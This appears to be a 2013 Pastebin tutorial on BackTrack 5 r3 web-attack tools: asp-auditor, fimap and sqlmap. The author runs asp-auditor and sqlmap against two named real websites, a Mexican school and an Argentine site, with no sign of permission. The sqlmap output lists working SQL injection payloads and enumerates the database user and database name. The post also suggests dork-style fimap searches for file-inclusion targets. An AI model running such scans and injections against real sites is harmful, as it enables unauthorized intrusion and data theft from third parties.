Advertisement
Netikerty

Starting with Bt5 r3

Feb 18th, 2013
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.06 KB | None | 0 0
  1. Hello... Starting with Backtrack :D
  2.  
  3. This is a little theory, asp-auditor is a perl script created that allows you to find useful information on a web server.
  4. First go to Backtrack 5 r3 dir: /Backtrack/Exploitation Tools/Web Exploitation Tools/asp-auditor.
  5.  
  6. Appear the following
  7.  
  8. Usage: ./asp-audit.pl [http://target/app/file.aspx] (opts)
  9.  
  10. (opts)
  11. -bf brute force ASP.NET version using JS Validate
  12. directories.
  13.  
  14. Now you see the next:
  15. root@bt:/pentest/web/asp-auditor#
  16.  
  17. To use the script you need to run the following syntax:
  18.  
  19. perl asp-auditor.pl website/page.aspx options
  20.  
  21. After you put the following I used this web http://conalepsin.edu.mx/apps/chekt/Default.aspx
  22.  
  23. root@bt:/pentest/web/asp-auditor# perl asp-audit.pl http://conalepsin.edu.mx/apps/chekt/Default.aspx -bf
  24. [*] Sending initial probe request...
  25. [*] Sending path discovery request...
  26. [*] Sending ASP.NET validate discovery request...
  27. [*] Sending ASP.NET Apr/07 XSS Check
  28. [*] Sending application trace request...
  29. [*] Sending null remoter service request...
  30.  
  31. [ .NET Configuration Analysis ]
  32.  
  33. Server -> Microsoft-IIS/6.0
  34. ADNVersion -> 2.0.50727
  35.  
  36. matches -> 2.0.50727.07 Version 2.0 (Visual Studio.NET 2005 CTP) Aug 2005
  37. matches -> 2.0.50727.26 Version 2.0 (Visual Studio.NET 2005 RC / SQL Server 2005 CTP) Sep 2005
  38. matches -> 2.0.50727.42 Version 2.0 RTM (Visual Studio.NET 2005 RTM / SQL Server 2005 RTM) Nov 2005
  39.  
  40. [*] Sending brute force discovery requests...
  41.  
  42. ==============================================================================================
  43.  
  44. Knowing websites vulnerable to Cross Site Scripting using Backtrack 5 r3. A little theory, a cross site scripting is a typical type of security hole Web application that allows third party websites inject the user views JavaScript code or in another script language similar.
  45.  
  46. To begin, start Backtrack 5 r3, once started is entered
  47. Applications / Backtrack / Information Gathering / Web Application Analysis / Open Source Analysis / XSSed
  48.  
  49. The link is directed to http://www.xssed.com/archive website, which displays a list of websites vulnerable to Cross Site Scripting
  50.  
  51. To prevent such attacks, it is necessary for the proper configuration files of type javascript, php, vbscript, output filter content, in short, all entries entered by users must be verified before being used.
  52.  
  53. ==============================================================================================
  54.  
  55. Here I leave this brief manual Fimap tool use in Backtrack 5 r3. A little theory, Fimap is a tool created in the python programming language, which allows you to explore and exploit such vulnerabilities RFI (reomte File Inclusion) or LIF (Local File Inclusion). It also allows, if you have an Internet connection, via google searchpaths vulnerability to Web sites.
  56.  
  57. To start, starts Backtrack 5 r3. Once initiated Entering directory / Pentes / web / Fimap;
  58.  
  59. cd / Pentest / web / Fimap
  60.  
  61. root@bt:~# cd /pentest/web/fimap
  62. root@bt:/pentest/web/fimap# ./fimap.py -u 'http://www.website/news.php?id=108'
  63.  
  64. You can to look for with google dorks too
  65.  
  66. root@bt:/pentest/web/fimap# ./fimap.py -u 'index.php?id='
  67.  
  68. When the website is vulnerable to Remote File Inclusion is displayed on the terminal notifying exploitation. Fimap is a very good tool for administrators and whose main objective is to improve the quality and security of your website.
  69.  
  70. ==============================================================================================
  71. SQLMAP
  72. Sqlmap in Backtrack 5 r3. A little theory, sqlmap is a tool to detect and exploit SQL injection vulnerabilities thus obtaining full access to the database server Algin web, regardless of the type of operating system.
  73.  
  74. To use the tool, start Backtrack 5 r3 and Entering directory
  75. / pentest / database / sqlmap
  76.  
  77. root@bt:# cd /pentest/database/sqlmap/
  78.  
  79. Appear the following:
  80.  
  81. root@bt:/pentest/database/sqlmap#
  82.  
  83. Next steep:
  84.  
  85. root@bt:/pentest/database/sqlmap# ls
  86. doc lib plugins README.md sqlmap.conf sqlmap.py tamper udf
  87. extra output procs shell _sqlmap.py _sqlmap.pyc txt xml
  88.  
  89. After we write ./sqlmap.py -u http://www.weburl.com. I used a url http://www.centro-lomas.com.ar
  90.  
  91. root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://www.centro-lomas.com.ar/detalles.php?id=1
  92.  
  93. sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
  94. http://sqlmap.org
  95.  
  96. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
  97.  
  98. [*] starting at 18:08:56
  99.  
  100. [18:08:57] [INFO] testing connection to the target url
  101. [18:08:59] [INFO] testing if the url is stable, wait a few seconds
  102. [18:09:00] [INFO] url is stable
  103. [18:09:00] [INFO] testing if GET parameter 'id' is dynamic
  104. [18:09:01] [INFO] confirming that GET parameter 'id' is dynamic
  105. [18:09:01] [INFO] GET parameter 'id' is dynamic
  106. [18:09:02] [INFO] heuristics detected web page charset 'ascii'
  107. [18:09:02] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
  108. [18:09:02] [INFO] testing for SQL injection on GET parameter 'id'
  109. [18:09:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  110. [18:09:03] [WARNING] reflective value(s) found and filtering out
  111. [18:09:04] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
  112. [18:09:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  113. [18:09:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
  114. [18:09:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  115. [18:09:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  116. [18:09:16] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
  117. [18:09:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  118. [18:09:16] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
  119. [18:09:16] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
  120. [18:09:18] [INFO] target url appears to have 6 columns in query
  121. [18:09:19] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  122. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
  123. sqlmap identified the following injection points with a total of 18 HTTP(s) requests:
  124. ---
  125. Place: GET
  126. Parameter: id
  127. Type: boolean-based blind
  128. Title: AND boolean-based blind - WHERE or HAVING clause
  129. Payload: id=1 AND 2747=2747
  130.  
  131. Type: error-based
  132. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  133. Payload: id=1 AND (SELECT 5273 FROM(SELECT COUNT(*),CONCAT(0x3a69617a3a,(SELECT (CASE WHEN (5273=5273) THEN 1 ELSE 0 END)),0x3a7174773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  134.  
  135. Type: UNION query
  136. Title: MySQL UNION query (NULL) - 6 columns
  137. Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a69617a3a,0x7361464c446765557662,0x3a7174773a), NULL, NULL, NULL, NULL, NULL#
  138.  
  139. Type: AND/OR time-based blind
  140. Title: MySQL > 5.0.11 AND time-based blind
  141. Payload: id=1 AND SLEEP(5)
  142. ---
  143.  
  144. [18:09:28] [INFO] the back-end DBMS is MySQL
  145.  
  146. web application technology: PHP 5.3.13, Apache 2.2.22
  147. back-end DBMS: MySQL 5.0
  148. [18:09:28] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.centro-lomas.com.ar'
  149.  
  150. [*] shutting down at 18:09:28
  151.  
  152. Also if you want to use the helper to run the tool incorporates the following syntax:
  153.  
  154. ./sqlmap.py --wizard
  155.  
  156. root@bt:/pentest/database/sqlmap# ./sqlmap.py --wizard
  157.  
  158. sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
  159. http://sqlmap.org
  160.  
  161. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
  162.  
  163. [*] starting at 18:10:02
  164.  
  165. Please enter full target URL (-u): http://www.centro-lomas.com.ar/detalles.php?id=1
  166. POST data (--data) [Enter for None]:
  167. Injection difficulty (--level/--risk). Please choose:
  168. [1] Normal (default)
  169. [2] Medium
  170. [3] Hard
  171. > 3
  172. Enumeration (--banner/--current-user/etc). Please choose:
  173. [1] Basic (default)
  174. [2] Smart
  175. [3] All
  176. > 1
  177.  
  178. sqlmap is running, please wait..
  179.  
  180. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  181. ---
  182. Place: GET
  183. Parameter: id
  184. Type: boolean-based blind
  185. Title: AND boolean-based blind - WHERE or HAVING clause
  186. Payload: id=1 AND 2747=2747
  187.  
  188. Type: error-based
  189. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  190. Payload: id=1 AND (SELECT 5273 FROM(SELECT COUNT(*),CONCAT(0x3a69617a3a,(SELECT (CASE WHEN (5273=5273) THEN 1 ELSE 0 END)),0x3a7174773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  191.  
  192. Type: UNION query
  193. Title: MySQL UNION query (NULL) - 6 columns
  194. Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a69617a3a,0x7361464c446765557662,0x3a7174773a), NULL, NULL, NULL, NULL, NULL#
  195.  
  196. Type: AND/OR time-based blind
  197. Title: MySQL > 5.0.11 AND time-based blind
  198. Payload: id=1 AND SLEEP(5)
  199. ---
  200.  
  201.  
  202. web application technology: PHP 5.3.13, Apache 2.2.22
  203. back-end DBMS: MySQL 5.0
  204. banner: '5.1.66-cll'
  205.  
  206. current user: 'cenlom09_gestor@localhost'
  207.  
  208. current database: 'cenlom09_capacitacion'
  209.  
  210. current user is DBA: None
  211.  
  212.  
  213. [*] shutting down at 18:10:53
  214.  
  215. The assistant will guide you through the setup of the website you want to test the vulnerability.
  216.  
  217. ============================================================================================
  218.  
  219. Only this is the starting :D.
  220.  
  221. Greettings.
  222.  
  223. By Netikerty Asenet
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement